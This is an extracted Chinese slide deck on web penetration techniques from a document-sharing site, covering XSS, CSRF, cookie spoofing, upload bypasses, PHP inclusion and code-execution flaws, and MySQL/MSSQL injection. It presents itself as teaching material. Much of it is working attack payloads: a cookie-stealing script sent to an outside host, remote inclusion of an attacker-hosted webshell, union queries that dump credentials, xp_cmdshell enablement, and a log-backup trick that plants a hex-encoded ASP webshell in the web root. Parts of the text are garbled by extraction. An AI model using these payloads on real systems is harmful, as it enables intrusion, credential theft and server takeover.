Web渗透技术(综合)_第1页
Web渗透技术(综合)_第2页
Web渗透技术(综合)_第3页
Web渗透技术(综合)_第4页
Web渗透技术(综合)_第5页
已阅读5页,还剩77页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、 目录目录v 网络已全面融入生活、工作中v 网络带来巨大变革v 网络是一把双刃剑v 带来巨大的威胁 2007年,我国境内与互联网连接的用户有60%以上的用户受到境外用户的攻击。 仅2009年我国被境外控制的计算机地址就达100多万个,被黑客组织篡改的网站多达42万个;在受网络病毒威胁方面,去年我国仅被“飞客”蠕虫一种网络病毒感染的计算机数量每月就达1800万台,占全球感染主机总量的30,位列全球第一。 漏洞多,木马、病毒猖獗; 网络瘫痪、网站被篡改、系统被入侵; 网银转款、网上诈骗等。 Internet设计初衷:开放、自由、无国界、无时间、空间限制; 网络虚拟性;系统技术设计缺陷:TCP/IP

2、、漏洞; 攻击(工具)软件易获得性; 计算机运算速度的加快: 猜口令(8位小写字母及数字穷举,时间通常不超过30小时); 应用的复杂性;对网络的依赖性增强;系统易安置后门。 编写程序的不严谨,程序的特性 系统服务器配置的不当网络、信息系统网络、信息系统逻辑炸弹逻辑炸弹特洛伊木马特洛伊木马黑客攻击黑客攻击计算机病毒计算机病毒信息丢失、信息丢失、篡改、销毁篡改、销毁后门、隐蔽通道后门、隐蔽通道蠕虫蠕虫拒绝服务攻击拒绝服务攻击内部、外部泄密内部、外部泄密 跨站脚本攻击(跨站脚本攻击(xss) 跨站请求伪造(跨站请求伪造(csrf) Cookie欺骗攻击欺骗攻击 上传漏洞上传漏洞 Php特有漏洞特有漏

3、洞 Sql注入攻击注入攻击跨站脚本攻击跨站脚本攻击-xss XSS又叫又叫CSS (Cross Site Script) ,跨站脚本攻,跨站脚本攻击。它指的是恶意攻击者往击。它指的是恶意攻击者往Web页面里插入恶意页面里插入恶意html代码,当用户浏览该页之时,嵌入其中代码,当用户浏览该页之时,嵌入其中Web里面的里面的html代码会被执行,从而达到恶意用户的代码会被执行,从而达到恶意用户的特殊目的。特殊目的。 反射型反射型xss 存储型存储型xss Dom base xss反射型反射型xss 反射型xss只是简单的把用户输入的数据反射给浏览器,也就是说,黑客旺旺引诱用户点击一个恶意链接,才能

4、攻击成功。(通常说的钓鱼网站) Javascript:alert(document.cookie); /* error.php */ ?php echo Error: . $_GETmsg. ;? http:/ file not found http:/ Error: alert(123)反射型反射型attackerhttp:/ GET/ hello.cgi?name=window.open(“http:/ dearwindow.open(“http:/ steal.cgi?cookie=存储型存储型xss存储型xss:用户输入的数据存放在服务端(一般放数据库里),其他用户访问某个页面时,这些

5、数据未经过滤直接输出。这些数据可能是恶意脚本,对其他用户造成危害。在允许上传文件的应用中,攻击者上传一个包含恶意代码的html或txt文件,用户浏览这些文件时执行恶意代码。在编辑框写入数据库的内容如果不加过滤,那么就可以插入一段而已代码存储到数据库,当用户浏览文章时,查找数据库内容自然而然就在页面上显示,恶意代码也就执行最简单的:最简单的: alert(document.cookie)插入文章数据库,将被用户浏览时执行DOM Based xss 通过修改页面的通过修改页面的dom节点形成的节点形成的xss成为成为dom based xss。 例子例子跨站请求伪造(跨站请求伪造(csrf) 强迫

6、受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。 恶意请求会带上浏览器的Cookie。 受攻击的Web应用信任浏览器的Cookie。 Cookie 在ie下不能跨域访问,在firefox下可以跨域访问例子:Cookie欺骗攻击欺骗攻击 Cookie是一个特殊的信息,保存在用户本地电脑硬盘上,当下次访问网站时不需要在此输入账号密码即可登录。 Cookie保存了用户的id,密码,等级 等信息。正因为如此,黑客们经常会截获cookie,然后利用cookie技术登录到网站上。黑客们只要把截获的cookie向服务器提交,并且能够通过 验证,即可冒充受害人的身份登录到

7、网站。这种通过cookie冒充他人身份登录网站的方法也就称为cookie欺骗。这种技术也就叫做cookie欺骗技术。Cookie欺骗攻击欺骗攻击 解一下cookie的基本格式:cookiename+cookievalue;expire=expirationdategmt;path=urlpath;domain=sitedomain其中各项以;分开,首先是指定cookie的名称,并为其赋值。接下来分别是cookie的有效期,url路径以及域名,在这几项中,除了第一项以外,其它部分均为可先项。Cookie欺骗攻击欺骗攻击-方法方法 通常来说,入侵者进行cookie欺骗大都是通过修改cookie达到

8、目的,主要有以下几种方法:1、获取管理员密码,写入cookie;2、更改标识,提高权限,例如从获取到的cookie中修改level,把level=2改为level=1,把usermenber改为adminmember等等。3、通过分析开源系统源代码,寻找cookie漏洞,例如,只要cookie里面的admin不为空值,便可浏览任意网页。再如查看数据库,普通用户与超 级用户的字段,member/supmember,通过修改memstatus=member/supmember,达到欺骗的目的。Cookie欺骗攻击欺骗攻击CookieCookie欺骗典型实例欺骗典型实例小秋个性留言本管理验证漏洞小秋

9、个性留言本管理验证漏洞 修改cookie值loginok为任意值,即可成功管理员文件上传漏洞文件上传漏洞 Web应用程序在处理用户上传的文件时,没有判断文件的扩展名是否在允许的范围内,或者没检测文件内容的合法性,就把文件保存在服务器上,甚至上传脚本木马到web服务器上,直接控制web服务器。 上传功能是一个正常的业务需求,很多时候需要上传图片、文档、附件等等东西到服务器。但是如果服务器端对上传的文件处理不当,会造成严重的后果。文件上传漏洞文件上传漏洞危害危害 上传文件是web脚本语言,服务器的web容器解析并执行脚本,导致代码执行(如果是恶意代码,则对系统造成很大危险); 上传文件是flash

10、的策略文件crossdomain.xml,黑客可以控制flash在该域下的行为; 上传文件时病毒、木马文件,黑客可用于诱骗诱用户或者管理员下载执行; 上传的是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器或者服务器下会被解析和执行,被用于钓鱼和欺诈文件上传漏洞文件上传漏洞满足条件满足条件 上传的文件能够被web解析执行,所以上传的目录是web服务器路径内; 用户必须可以从web访问到这个文件 上传的文件没有被安全检查、格式化、过滤、等改变,否则不成功文件上传漏洞文件上传漏洞类型类型 Fckeditor文件上传漏洞文件上传漏洞 Fckeditor是一种非常流行的富文本编辑器,有asp/php/

11、jsp/不同版本,上传功能如下: http:/ 打开这个页面可以上传任意格式的文件到服务器,保存在/UserFiles/all/目录下文件上传漏洞文件上传漏洞类型类型 绕过文件上传检查绕过文件上传检查 通常文件上传检查会通过以下来判断: 判断文件名,文件后缀; 判断文件的文件头类型来验证文件的类型,比如jpg文件的文件头如下:文件上传漏洞文件上传漏洞类型类型 正常情况下,通过判断前10个字节,基本上就可以判断出一个文件的真实类型; 浏览器的MIME Sniff功能,实际上通过读取文件前256字节来判断文件的类型,因此,常见的绕过技巧就是伪造一个合法的文件头,而将真实的恶意程序代码写在文件头之后

12、 ,如:文件上传漏洞文件上传漏洞 服务器解析漏洞服务器解析漏洞 Apache1.x,2.x对文件名解析的漏洞 上传一个 shell.php.rar.rar.rar.rar Apache不识别rar文件类型,所以会遍历到.php,所以会认为这是一个php文件而执行; Iis解析漏洞解析漏洞 Iis6环境当中,解析文件时候截断字符分号; Aa.asp;xx.jpg 会解析为 aa.ASP文件上传漏洞文件上传漏洞 另外,另外,iis还有一个漏洞处理文件夹扩展名出错,还有一个漏洞处理文件夹扩展名出错,导致讲导致讲/*.asp/目录下所有文件都做目录下所有文件都做asp文件来解文件来解析:析: Bb.j

13、pg会作为会作为asp文件被解析文件被解析 在字符串处理函数中,在字符串处理函数中,0 x00被认为是终止符,构被认为是终止符,构造文件名造文件名xxx.php0.jpg传到服务器,其中传到服务器,其中0被被认为是认为是0 x00终止符,最终会变成终止符,最终会变成xxx.php被解析被解析Php特有漏洞特有漏洞 文件包含漏洞文件包含漏洞 变量覆盖漏洞变量覆盖漏洞 代码执行漏洞代码执行漏洞文件包含漏洞文件包含漏洞 就是服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,使得入侵者利用这个恶意文件为所欲 为。文件包含漏洞有两种,一种是本地包

14、含漏洞,也就是包含的文件是在本地服务器上的;另一种是远程文件包含漏洞,包含的文件可以是来自别的服务器上的。包 含进来的文件就会被执行,从而达到入侵者的目的。文件包含漏洞文件包含漏洞前提前提 1、包含函数:、包含函数: include(),require()和include_once(),require_once()include() & require()语句:包括并运行指定文件;require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。2、配置环境:、配置环境:allow_url_fopen On allow_url_include Onma

15、gic_quotes_gpc Off另外:jsp:ava.io.File(),java.io.FileReader()Asp: include file, include virtual文件包含漏洞文件包含漏洞 三、包含文件的作用三、包含文件的作用 为了代码的简洁,方便重复的使用,引入了文件包含函数,比如先来看下面这个文件index.php的代码:if ($_GETpage) include $_GETpage; else include home.php;如果我们提交http:/localhost/index.php?page=main.php,则1.提交上面这个URL,在index.php

16、中就取得这个page的值($_GETpage)。2.判断$_GETpage是不是空,若不空(这里是main.php)就用include来包含这个文件,main.php被运行。3.若$_GETpage空的就执行else,来include home.php这个文件。文件包含漏洞文件包含漏洞 四、产生漏洞的原因四、产生漏洞的原因通过url提交获得$_GETpage,include $_GETpage,这在方便的同时产生了漏洞,我们随便提交一个page的值,也就会被include进去运行。假如这个page是恶意的、是黑客恶意定向的一个文件,那后果就不堪设想了。比如:http:/localhost/in

17、dex.php?page=webshell.php http:/localhost/index.php?page=./uploads/webshell.php http:/localhost/index.php?page= /webshell.php文件包含漏洞文件包含漏洞类型类型 本地包含漏洞:本地包含漏洞: 能够打开并包含本地文件的漏洞叫本地包含漏洞 Include /home/wwwrun/.$file.php 加入传入$file的值为“././etc/passwd”,也就: Include /home/wwwrun/././etc/passwd.php; 采用

18、0字节截断,”././etc/passwd0”则可以看打passwd的内容文件包含漏洞文件包含漏洞类型类型 远程包含漏洞:远程包含漏洞: 如果php配置allow_url_include为on,则包含函数可以包含远程的文件,这时就产生了远程包含漏洞 构造url ?Param=http:/ 就传入了Param=http:/ 1、包含读出目标机上其它文件、包含读出目标机上其它文件 例如包含一个不存在的文件时,会返回错误信息同事暴露站点的绝对路径,这时候便可以根据路径探测来包含其它文件,比如指定URL为:http: //php/index.php?page=./txt.txt 可以读出

19、当前路径下的txt.txt文件,也可以使用. /./进行目录跳转(在没过滤./的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http: //php/index.php?page=/etc/passwd ,如果目标主机没有对权限限制的很严格,或者启动 Apache的权限比较高,是可以读出这个文件内容的。文件包含漏洞文件包含漏洞利用利用2、包含可运行的、包含可运行的php木马木马 如果allow_url_fopen On On,则可以指定其它URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码(加了注释,应该看得懂)

20、,如下保存为cmd.php: 文件包含漏洞文件包含漏洞利用利用 以上文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上,假如访问址如下:http: /localhost/cmd.php ,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //index.php?page=http:/localhost/cmd.php?cmd=ls ,其中 cmd=后面的就是需要执行的命令。文件包含漏洞文件包含漏洞利用利用 3、包含一个创建文件功能的、包含一个创建文件功能的PHP文件文件 ?$fp =

21、fopen(webshell.php, a);fwrite($fp, rn);fclose($fp);?变量覆盖漏洞变量覆盖漏洞 变量覆盖漏洞:就是由于对于外部提交的变量没有进行合法验证,导致外部提交的变量值覆盖掉内部的变量,产生漏洞,容易被攻击。这些漏洞有些是因为使用某些函数导致,有些是因为配置问题,也有些是因为代码的不严谨。 (1)extract()函数函数 (2)遍历初始化变量)遍历初始化变量 (3)parse_str()变量覆盖漏洞变量覆盖漏洞 (4)import_request_variables()变量覆盖漏洞变量覆盖漏洞 (5)PHP5 Globalsextract()这个函数在

22、指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖。语法extract(array,extract_rules,prefix)参数array 必需。规定要使用的输入。extract_rulesEXTR_OVERWRITE 默认。如果有冲突,则覆盖已有的变量。EXTR_SKIP 如果有冲突,不覆盖已有的变量。(忽略数组中同名的元素)prefix 可选。?php$auth=0; extract($_GET);If($auth=1)Echo “aaa”;else echo “bbbb”; /test.php?auth=1; (2)遍历初始化变量)遍历初始化变量 A变量值被覆盖变量

23、值被覆盖(3)import_request_variables()变量覆盖漏洞变量覆盖漏洞将 GETPOSTCookie 变量导入到全局作用域中。如果你禁止了register_globals,但又想用到一些全局变量,那么此函数就很有用。语法bool import_request_variables ( string types , string prefix )参数types指定需要导入的变量,可以用字母G、P和C分别表示 GET、POST 和 Cookie。注意这些字母的顺序,当使用“gp”时,POST 变量将使用相同的名字覆盖 GET 变量。任何 GPC 以外的字母都将被忽略。prefix

24、可选参数,作为变量名的前缀,置于所有被导入到全局作用域的变量之前。例子/var.php?_SERVERREMOTE_ADDR=echo GLOBALS .(int)ini_get(register_globals).n;import_request_variables(GPC);if ($_SERVERREMOTE_ADDR != ) die(Go away!);echo Hello admin!; PHP5 Globalsphp.ini的register_globals =On时,若变量未初始化可造成变量覆盖。$v) unset($k); print $a;

25、print $_GETb;?$ad 值为初始化,会出错,如果var.php?GLOBALSa=aaaa,则$a的值会显示,也因此被控制输入代码执行漏洞代码执行漏洞 远程代码执行漏洞远程代码执行漏洞 也就是代码编写不严谨导致导致入侵者可以在地址栏注入执行代码从而被服务器执行的漏洞。 造成这种漏洞的原因主要是: (1)代码执行函数)代码执行函数PHP中可以执行代码的函数。如eval()、assert()、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等,如: (2)文件包含)文件包含include(),

26、include_once(),require(),require_once(),当allow_url_include=On ,PHP Version=5.2.0时的代码注射。如:提交/include.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E (3)正则匹配)正则匹配preg_replace()函数的pattern参数中若存在/e模式修饰符,即允许执行代码,则有可能产生代码注射。?php echo $regexp = $_GETreg; $var = phpinfo(); preg_replace(/(.*

27、?)$regexp, 1, $var);?提交URL“/preg_replace1.php?reg=%3C/php%3E/e”。分析:$regexp为“%3C/php%3E/e”,即“/e”,代码即为preg_replace(/(.*?)/e, 1, $var); 意思是查找$var,根据该正则替换为匹配第一个子模式的文本【即phpinfo()】并执行。 SQLSQLSQLSQL SQL注入攻击注入攻击1、SQL注入及危害注入及危害 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通

28、过递交参数构造巧妙的SQL语句,从而成功获取想要的数据。分为字符型注入和数字型的注入,由于编程语言不同,所存在的注入类型也不同。危害:-非法查询其他数据库资源,如管理员帐号。-执行系统命令-获取服务器root权限 sql注入原理注入原理2、构成、构成sql注入的关键注入的关键(1)输入,一切的输入都有危险性,特别是用户提交的数据以及在程序中的变量值(变量值能够被用户控制)(2)sql操作(传入的数据进入数据库进行的操作) sql注入原理注入原理3、获取输入数据的来源、获取输入数据的来源(1)POST (也就是表单post提交)(2)GET(url传递)(3)cookie(客户端保存的cooki

29、e信息) sql注入原理注入原理4、主要数据库类型、主要数据库类型Access、MSSQL、MYSQL、ORACLE、DB2等这里主要讲mssqlmssql,mysqlmysql;5 5、简单例子讲述、简单例子讲述sqlsql注入原理注入原理 php+mysql登录验证http:/localhost/inject/test/login.html sql注入原理注入原理SELECT * FROM user WHERE name = admin and pwd =admin 注入后的sql语句,只要正确被执行,就能登陆SELECT * FROM user WHERE name = aa or 1=

30、1# and pwd = aaaSELECT * FROM user WHERE name = aaa and pwd = aa or 1=1 #SELECT * FROM user WHERE name = admin and 1=1# and pwd = aa php+mysql登录验证 SQL注入基础注入基础SQL注入一般步骤(个人观点):注入一般步骤(个人观点):查找与判断注入点(复杂的需要不断尝试和改变输入形式绕过过滤)收集信息(数据库类型、数据库用户、权限、服务器等信息)利用收集到的信息-逐个击破(爆库、表、字段、数据,执行命令、提权、上传webshell等)清除痕迹 SQL注入基

31、础注入基础1、查找注入点(注入点一般存在以下几个地方)、查找注入点(注入点一般存在以下几个地方)u地址栏地址栏url:xxx/index.php?id=2 select * from table where id=2u登陆框登陆框 select * from user where name=aa and password=bbbu注册框注册框(insert下注入,也有用于跨站攻击)u信息修改框信息修改框:update table set name=xxx where id=2;u搜索框搜索框:select * from content where title like %aaa%uSelect

32、 * from 表名表名 where字段字段like % and 查询条件查询条件 and %=% SQL注入基础注入基础2、判断注入点、判断注入点(1)看输入的SQL语句是否被正确执行(2)怎样判断是否正确执行?主要看浏览器返回的页面信息:具体情况具体分析(后面案例详细讲)最经典的判断:and 1=1 and 1=2 and 1=1核心思想:判断构造的输入能否进入到数据库执行,如果能执行,证明有注入,否则,就是过滤掉,此时考虑绕过过滤。 SQL注入基础注入基础3、判断数据库类型判断数据库类型构造语句,根据页面返回的出错信息判断Mysql(通常php网站)aa or (select count

33、(*) from mysql.user)0 判断是否是mysql; Mssql:2000、2005 版本(通常asp、aspx网站)And (select count(*) from sysobjects)0Access: and (select count(*) from msysobjects)0会提示出错 SQL注入基础注入基础4、收集与利用信息、收集与利用信息mysql(1)Mysql信息库(information_schema):information_schema.tables /*存放表名information_schema.columns /*存放字段http:/localho

34、st/phpmyadmin查看数据库 注入思路:可以通过查询这个数据库,得到我们想要的数据表的信息! SQL注入基础注入基础(2)Mysql内置函数:内置函数:user() 当前用户Database() 当前数据库System_user() 数据库系统用户Version() 数据库版本datadir datadir 数据库数据存放路径数据库数据存放路径 SQL注入基础注入基础(3 3)mysqlmysql函数函数Char() 通常用来把字符对应的ascii值转为字符。Hex() 字符串转十六进制 unhex()则相反 ASCII()字符串转ascii码,可以用char()解码Cast(fiel

35、d as unsigned/varchar) 转变字段输出值类型以上几个函数通常在注入点被过滤掉一些字符的时候使用,比如过滤单引号,过滤关键词select等,可以通过上面的函数来转编码写入sql语句当中,绕过过滤! SQL注入基础注入基础magic_quotes_gpc =on/off 魔术转换,转义掉单引号、双引号、斜杠、null字符 (php.ini文件里面)如果开启魔术转换: aa or 1=1# 则会转变为: aaor 1=1使得注入无效。可以尝试使用base64编码单引号Load_file():在页面中显示文件内容select 1,2,load_file(E:DiscuzServer

36、_Corewwwrootbbsconfig.inc.php)Outfile():导出文件: (需要magic_quotes_gpc=off )http:/localhost/inject/test/login.html 用户名输入: aa or 1=1 into outfile c:file.txt# ,密码随意 SQL注入基础注入基础Union ALL select: 联合查询(注入最常用)当前面的查询错误的时候就执行union all selectaa or 1=2 union all select 1,2,version()#,1=2为假,所以执行union后面的语句,注意select的

37、字段个数必须与当前查询表字段数一样,否则报错如何确定表字段个数呢?Order by排序aa or 1=1 order by 1 #aa or 1=1 order by 2n #如果order by n时页面返回错误,n-1返回正确,则字段数为n-1个。 SQL注入基础注入基础 确定字段数之后确定字段数之后-查信息(利用内置函数)查信息(利用内置函数) aa union select 1,2,3#,假如是假如是3个字段个字段 aa union select 1,version(),3# aa union select 1,user(),3# aa union select 1,database(

38、),3# 这里可以搜集到版本,数据库名称等这里可以搜集到版本,数据库名称等 SQL注入基础注入基础Group_concat():字符串连接,把多个字段内容一行显示出来通常用来暴库,表,字段,数据爆表名:aa union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=数据库名#爆表字段:aa union select 1, group_concat(column_name),3 from information_schema.columns where table_na

39、me=表名#爆数据:aa union select 1, group_concat(字段1,字段2,字段3),3 from 表名#如果这是管理员账号密码,我们便可以扫描后台找到管理员登陆口用账号密码进行登陆 SQL注入基础注入基础Const_name() : mysql5.0.12之后才有(高级报错)SELECT NAME_CONST(myname, 14);+-+| myname |+-+| 14 |通常使用它来报错获取信息:MYSQL注入案例注入案例 案例一:本地考试系统案例一:本地考试系统(简单简单) http:/localhost/ks/page1.php?id=7 找注入点找注入点

40、查信息查信息 利用信息利用信息爆表数据爆表数据 找后台找后台登陆登陆MYSQL注入案例注入案例 案例二:本地门户网站案例二:本地门户网站 http:/ 利用利用firebugMSSQL注入基础注入基础uSQL Server 2000 & SQL Server 2005 特性特性 当前数据库的表名存放在sysobjects表下 字段名是存放在syscolumns表下 两者之间唯一相同的是IDu如何暴露数据?如何暴露数据? 得到数据库名后可以在sysobjects表得到表名和id, 再用id 在 syscolumns下查询得到字段名MSSQL注入基础注入基础uMssql内置函数内置函数 d

41、b_name() 当前数据库名称 user 当前用户权限 system_user 当前数据库连接账户 host_name() WEB服务器名 servername 数据库服务器名 version 数据库版本信息Mssql 注释符 -两个横线MSSQL注入基础注入基础 mssql注入思想:注入思想:通过构造错误通过构造错误sql返回特定信息返回特定信息 如: and 1=(select version) version结果是char类型,1是整型,不会相等,所以报错,也就暴露了信息 报错可以显示到页面上,有时候网站做了设置所以不显示错误信息,此时可以通过建立临时表来存储,或者远程发送信息到本地数

42、据库MSSQL注入基础注入基础p不同的版本,不同的用户权限,可以用不同的方不同的版本,不同的用户权限,可以用不同的方法做不同的事情来达到注入效果法做不同的事情来达到注入效果mssql三种权限:sysadmindb_ownerpublic查看权限: and 1=(select user)-查看当前用户: and 1=(select system_user)-查看数据库与站点是否分离: and 1=(select servername)- and 1=(select host_name()-MSSQL注入基础注入基础pSA权限(相当于权限(相当于system用户,可执行命令)用户,可执行命令)xp

43、_cmdshell 扩展存储过程将命令字符串作为操作系统命令 执行,并以文本行的形式返回所有输出。 ;exec master.xp_cmdshell net user ;exec master.xp_cmdshell net user这里可以使用很多命令:这里可以使用很多命令:net user ipconfig net user ipconfig 开启开启xp_cmdshell(MSSQL 2000 xp_cmdshell(MSSQL 2000默认开启默认开启) );exec sp_addextendedproc xp_cmdshell ,dllname ;exec sp_addextende

44、dproc xp_cmdshell ,dllname =xplog70.dll;exec master.dbo.addextendedproc =xplog70.dll;exec master.dbo.addextendedproc xp_cmdshell,xplog70.dll;-xp_cmdshell,xplog70.dll;-开启开启xp_cmdshellxp_cmdshell:MSSQL 2005/2008MSSQL 2005/2008默认关闭默认关闭;exec sp_configure show advanced options, ;exec sp_configure show ad

45、vanced options, 1;RECONFIGURE;exec sp_configure xp_cmdshell, 1;RECONFIGURE;exec sp_configure xp_cmdshell, 1;RECONFIGURE;-1;RECONFIGURE;-MSSQL注入基础注入基础p如何获取执行结果如何获取执行结果(通过创建临时表方便查询) 创建表:create table nn(id int identity(1,1),n1 varchar(2000)- 把执行的结果插入表:insert into nn(n1) exec master.xp_cmdshell ipconfig

46、- 查询执行结果:and 1=(select n1 from nn where id=2)-,如果是2005,则可一次性输出所有结果:and 1=(select n1 from nn for xml auto)p如果是如果是db_owner权限,则权限,则:利用利用xp_dirtreexp_dirtree读读webweb目录的绝对路径,然后利用备份来获目录的绝对路径,然后利用备份来获取取webshellwebshell。创建表:创建表:ceate table c2(c1 varchar(4000),c2 varchar(4000),c3 ceate table c2(c1 varchar(40

47、00),c2 varchar(4000),c3 varchar(4000),id int identity(1,1)-varchar(4000),id int identity(1,1)-往表里插数据往表里插数据insert into c2(c1,c2,c3) exec master.xp_dirtree insert into c2(c1,c2,c3) exec master.xp_dirtree c:,1,1-c:,1,1-查询数据查询数据and 1=(select c1 from c2 where id=1)-and 1=(select c1 from c2 where id=1)-MS

48、SQL注入基础注入基础p获取到获取到web绝对路径之后绝对路径之后进行备份进行备份;alter database test set RECOVERY FULL;- (把把SQL设置设置成完全恢复模式成完全恢复模式);create table cmd (a image);- (新建立一个新建立一个cmd表表) ;backup log test to disk = c:bak with init;- (减少备分数减少备分数据的大小据的大小) ;insert into cmd (a) values(0 x3C252065786563757465207265717565737428226368656E

49、222920253E);- (插入一句话插入一句话) ;backup log test to disk =C:inetpubwwwroottest.asp;- (备分日志到备分日志到WEB路路径)径) MSSQL注入基础注入基础MSSQL注入基础注入基础pPublic权限(扫后台路径,再查后台账户密码)权限(扫后台路径,再查后台账户密码) 如果是如果是2005: and 1=(select name from sysobjects where xtype=U for xml auto)- and 1=(select id from sysobjects where name=admin for xml auto)- 1and 1=(select name from syscolumns where id=1378819974 f

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论